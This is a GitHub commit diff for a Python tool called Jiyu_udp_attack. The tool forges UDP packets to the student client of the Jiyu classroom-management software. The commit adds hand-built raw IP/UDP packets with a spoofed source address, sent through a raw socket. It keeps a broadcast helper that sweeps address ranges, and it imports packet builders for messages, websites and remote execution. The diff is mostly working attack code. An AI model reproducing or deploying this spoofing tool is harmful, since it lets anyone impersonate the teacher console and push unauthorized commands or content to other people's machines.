Skip to content

Commit 667f94f

Browse files
committed
feat: Implement raw UDP packet creation and sending functionality
1 parent 401539a commit 667f94f

File tree

2 files changed

+121
-12
lines changed

2 files changed

+121
-12
lines changed

Jiyu_udp_attack/__init__.py

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,12 @@
22
This module is used to forge Jiyu's UDP packets and send them to the student client.
33
"""
44

5-
from Jiyu_udp_attack.sender import send_packet, broadcast_packet
6-
from Jiyu_udp_attack.packet import pkg_message, pkg_website, pkg_execute
5+
try:
6+
from Jiyu_udp_attack.sender import send_packet, broadcast_packet
7+
from Jiyu_udp_attack.packet import pkg_message, pkg_website, pkg_execute
8+
except ImportError:
9+
from sender import send_packet, broadcast_packet
10+
from packet import pkg_message, pkg_website, pkg_execute
711

812

913
__all__ = ["send_packet", "broadcast_packet", "pkg_message", "pkg_website", "pkg_execute"]

Jiyu_udp_attack/sender.py

Lines changed: 115 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2,20 +2,124 @@
22
This module is used to send or broadcast UDP packets with spoofed IP addresses.
33
"""
44

5-
import scapy.all as scapy
5+
import struct
6+
import random
7+
import socket
68

7-
from Jiyu_udp_attack.ip_analyze import ip_analyze
9+
try:
10+
from Jiyu_udp_attack.ip_analyze import ip_analyze
11+
except ImportError:
12+
from ip_analyze import ip_analyze
813

914

10-
def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
15+
def calculate_checksum(data: bytes) -> int:
16+
"""
17+
Calculates the checksum for the given data.
18+
19+
Args:
20+
data (bytes): The data for which to calculate the checksum.
21+
22+
Returns:
23+
int: The calculated checksum.
24+
"""
25+
data = data + b"\x00" * (len(data) % 2) # Ensure even length
26+
27+
total = 0
28+
for word in struct.unpack("!" + "H" * (len(data) // 2), data):
29+
total += word
30+
if total > 0xFFFF:
31+
total = (total & 0xFFFF) + (total >> 16)
32+
33+
return ~total & 0xFFFF
34+
35+
36+
# pylint: disable=too-many-locals
37+
def create_raw_udp_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> bytes:
38+
"""
39+
Creates a raw UDP packet with a spoofed source IP address.
40+
41+
Args:
42+
src_ip (str): The source IP address to spoof.
43+
dst_ip (str): The destination IP address.
44+
dst_port (int): The destination port number.
45+
payload (bytes): The data payload to include in the packet.
46+
47+
Returns:
48+
bytes: The constructed raw UDP packet.
49+
"""
50+
# 1. Set IP header parameters
51+
ip_ver = 4
52+
ip_ihl = 5 # 5 * 4 = 20 bytes header
53+
ip_tos = 0
54+
ip_total_len = 20 + 8 + len(payload) # IP header + UDP header + data
55+
ip_id = random.randint(0, 65535)
56+
ip_frag_off = 0
57+
ip_ttl = 64
58+
ip_proto = socket.IPPROTO_UDP
59+
ip_check = 0 # Initial value is 0, will be calculated later
60+
61+
# 2. Build IP header (initial checksum is 0)
62+
ip_header = struct.pack(
63+
"!BBHHHBBH4s4s",
64+
(ip_ver << 4) | ip_ihl,
65+
ip_tos,
66+
ip_total_len,
67+
ip_id,
68+
ip_frag_off,
69+
ip_ttl,
70+
ip_proto,
71+
ip_check,
72+
socket.inet_aton(src_ip),
73+
socket.inet_aton(dst_ip),
74+
)
75+
76+
# 3. Calculate IP header checksum
77+
ip_check = calculate_checksum(ip_header)
78+
79+
# 4. Rebuild IP header with correct checksum
80+
ip_header = struct.pack(
81+
"!BBHHHBBH4s4s",
82+
(ip_ver << 4) | ip_ihl,
83+
ip_tos,
84+
ip_total_len,
85+
ip_id,
86+
ip_frag_off,
87+
ip_ttl,
88+
ip_proto,
89+
ip_check,
90+
socket.inet_aton(src_ip),
91+
socket.inet_aton(dst_ip),
92+
)
93+
94+
# 5. Build UDP header (initial checksum is 0)
95+
src_port = random.randint(1024, 65535) # Random source port
96+
udp_length = 8 + len(payload)
97+
udp_header = struct.pack("!HHHH", src_port, dst_port, udp_length, 0) # Initial checksum is 0
98+
99+
# 6. Create pseudo header for UDP checksum calculation
100+
pseudo_header = struct.pack("!4s4sBBH", socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, ip_proto, udp_length)
101+
102+
# 7. Calculate UDP checksum (including pseudo header)
103+
udp_check = calculate_checksum(pseudo_header + udp_header + payload)
104+
105+
# 8. Rebuild UDP header with correct checksum
106+
udp_header = struct.pack("!HHHH", src_port, dst_port, udp_length, udp_check)
107+
108+
# 9. Combine complete packet
109+
return ip_header + udp_header + payload
110+
111+
112+
def send_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> None:
11113
"""
12114
Sends a UDP packet with the specified source IP, destination IP, destination port, and data payload.
13115
116+
Ensure that the source IP address is valid and that you have permission to send packets with spoofed addresses.
117+
14118
Args:
15119
src_ip (str): The source IP address.
16120
dst_ip (str): The destination IP address.
17121
dst_port (int): The destination port number.
18-
data (bytes): The data payload to include in the packet.
122+
payload (bytes): The data payload to include in the packet.
19123
20124
Raises:
21125
scapy.error.Scapy_Exception: If there is an error sending the packet.
@@ -24,12 +128,13 @@ def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
24128
This function uses Scapy to construct and send the packet.
25129
Ensure that Scapy is installed and properly configured in your environment.
26130
"""
27-
# pylint: disable=no-member
28-
packet = scapy.IP(src=src_ip, dst=dst_ip) / scapy.UDP(dport=dst_port) / scapy.Raw(load=data) # type: ignore
29-
scapy.send(packet, count=1, verbose=False)
131+
client = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
132+
client.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
133+
packet = create_raw_udp_packet(src_ip, dst_ip, dst_port, payload)
134+
client.sendto(packet, (dst_ip, dst_port))
30135

31136

32-
def broadcast_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
137+
def broadcast_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> None:
33138
"""
34139
Sends a broadcast UDP packet to the specified destination IP address or range.
35140
@@ -39,7 +144,7 @@ def broadcast_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> No
39144
src_ip (str): The source IP address.
40145
dst_ip (str): The broadcast IP address (e.g., "192.168.1.255", "192.168.1.0/24", "192.168.1.10-100").
41146
dst_port (int): The destination port number.
42-
data (bytes): The data payload to include in the packet.
147+
payload (bytes): The data payload to include in the packet.
43148
"""
44149
for ip in ip_analyze(dst_ip):
45-
send_packet(src_ip, ip, dst_port, data)
150+
send_packet(src_ip, ip, dst_port, payload)

0 commit comments

Comments
 (0)